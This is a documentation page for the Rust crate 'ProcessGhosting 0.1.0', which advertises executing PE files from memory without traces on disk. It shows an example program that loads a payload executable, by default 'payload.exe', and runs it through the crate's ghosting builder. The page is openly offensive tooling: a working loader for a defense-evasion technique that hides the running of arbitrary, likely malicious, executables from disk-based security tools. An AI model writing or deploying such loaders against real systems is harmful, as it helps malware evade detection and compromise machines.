ProcessGhosting 0.1.0

Process Ghosting technique implementation - Execute PE files from memory without leaving traces on disk
Documentation 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39

//! Load and execute payload from file
//! Author: BlackTechX

use process_ghosting::{GhostingBuilder, init};
use std::env;

fn main() {
    init();

    println!("[*] From File Example\n");

    // Get file path from command line or use default
    let args: Vec<String> = env::args().collect();
    let file_path = if args.len() > 1 {
        &args[1]
    } else {
        "payload.exe"
    };

    println!("[*] Loading payload from: {}", file_path);

    // Use from_file builder method
    match GhostingBuilder::from_file(file_path) {
        Ok(builder) => {
            let result = builder
                .x64()
                .with_logging()
                .execute();

            match result {
                Ok(_) => println!("\n[+] Success!"),
                Err(e) => eprintln!("\n[-] Failed: {}", e),
            }
        }
        Err(e) => {
            eprintln!("[-] Failed to load file: {}", e);
        }
    }
}